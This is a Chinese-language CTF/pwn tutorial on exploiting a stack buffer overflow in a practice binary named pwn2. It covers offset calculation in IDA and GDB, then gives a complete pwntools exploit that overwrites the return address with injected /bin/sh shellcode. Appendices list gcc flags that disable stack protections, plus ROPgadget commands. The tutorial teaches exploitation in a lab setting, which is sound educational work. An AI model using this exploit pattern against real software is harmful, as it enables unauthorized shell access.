0x01 程序分析

我们首先将二进制文件拖入IDA中,按F5进行反编译,main函数如图,只是调用了foo函数。
1.png

查看foo函数,foo函数进行了两个操作,输出和输入功能。输出了局部变量buf的十六进制地址,并从键盘读入最多0x100个无符号数给buf。很明显对于一个只有1字节的char类型的buf来说,0x100u远远超过,此处存在溢出点。
2.png

此时栈情况如图所示。
3.png

根据IDA初步分析可以得到,buf与EBP相差0x1C个字节,所以我们覆盖EIP需要输入0x1C+0x4个填充字符,再4个字节是shellcode首地址,我们将shellcode安排在xxx所在的位置。而XXX所在位置通过程序printf输出可以计算得到(0x1C+0x4+0x4)。这样我们就可以实现栈溢出了。

如果计算麻烦或者不确定,就需要调试了,这一次我们不用ollydbg,我们使用linux平台下的GDB,还安装了插件peda。

输入以下指令进入gdb
4.png

首先需要找到ida中foo函数溢出点位置

disassemble /m foo

查看foo函数反汇编代码,同理我们可以通过此指令查看其他函数的反汇编。

5.png

可以看出我们的溢出点在foo+40这个位置,所以我们在该位置设下断点以便调试。

b *foo+45

在foo+45地址下断点,也可使用b 0x08048518。 使用指令i b指令可以查看断点情况。

6.png

r

运行程序,程序将停在断点处

7.png

我们可以看到寄存器、反汇编、栈当前状态。我们现在最关心的是栈区情况。

p $ebp

运行该指令我们可以查看寄存器的值

8.png

当前页面栈区显示有限,我们可以使用指令stack 20查看栈区更详细的信息。
9.png

这样我们也可以用(0xc8-0xac=0x1c)计算出填充到EBP数据字节数。同理储存返回地址(EIP)为0x1c+0x4,而shellcode的起始地址为0x1c+0x4+0x4。返回地址需要覆盖的地址为他所在地址下4个字节。所以通过printf打印出的buf地址我们就可以计算出所有我们需要的地址。


0x02 exp编写

  1. #-*- coding: utf-8 -*-
  2. #pwn2_exp.py
  3. from pwn import *
  4. #context设置运行环境,根据32位和64位的不同而转换汇编
  5. context(os='linux',arch='i386',log_level='debug')
  6. #加载本地程序pwn2
  7. pwn = process('./pwn2')
  8. #如果想加载端口监听的程序,格式如下
  9. #可使用指令 ncat -l 9527 -c ./pwn2 将程序挂在端口9527
  10. #pwn = remote("127.0.0.1",9527)
  11. #此处通过接受打印信息提取出buf的地址
  12. bufAddr = pwn.recvline()
  13. #取出\n并转换为int类型10进制
  14. bufAddr = int(bufAddr[:-1],16)
  15. #EBP
  16. payload = 'A' * 0x1C + 'A' * 0x4
  17. #生成shellcode
  18. shell = asm(shellcraft.i386.linux.sh())
  19. #计算长度EIP
  20. shellAddr = bufAddr + len(payload) + 0x4
  21. payload += p32(shellAddr)
  22. payload += shell
  23. pwn.sendline(payload)
  24. #程序与用户交互模式
  25. pwn.interactive()

用pwntools我们可以很容易的编写exp,运行exp获取到shell。
10.png

参考:https://www.k2zone.cn/?p=2225


附录:

gdb常用命令汇总

命令 作用
disassemble func_name 反汇编指定函数
b *func+15 下断点
i b 查看断点
delete 1 删除1号断点
next 单步执行,不进入函数
step 单步追踪
stack 10 查看栈区内容
p $ebp 查看寄存器内容
r 运行程序
x 0x804a00c 查看地址内容

pwntools使用汇总

  1. from pwn import *
  2. # 加载程序1.本地,2.远程
  3. p = process('./stack')
  4. p = remote("127.0.0.1",9527)
  5. # 向程序发送数据,末尾自动加\n
  6. p.sendline(b'a'*10+p64(0x382920))
  7. # 向程序发送数据,末尾不加\n
  8. p.send()
  9. # 从程序接收数据,可以在参数指定接收数据字节数
  10. p.recv([,int len])
  11. # 接收到指定数据为止
  12. p.recvuntil('a'*10+'\n')
  13. # 切换到交互模式
  14. p.interactive()
  15. # 将数据打包为指定长度bytes
  16. p64(0x12323)、p32(0x54532)
  17. u64()、u32()

gcc常用编译命令

  1. gcc stack.c -o stack
  2. -z execstack 关闭可修改数据不可执行保护机制
  3. -fno-stack-protector 关闭canary栈溢出防护机制
  4. -no-pie 关闭可执行程序地址随机化加载
  5. -m32 编译生成32位程序

ROPgadget用法
ROPgadget --binary rop # 寻找gadget
ROPgadget --binary rop --only 'pop|ret' | grep 'eax' # 查找可存储寄存器的代码
ROPgadget --binary rop --string "/bin/sh" # 查找字符串
ROPgadget --binary rop --only 'int' # 查找有int 0x80的地址

常见操作命令:
checksec rop # 查看保护机制
readelf rop # 查看程序信息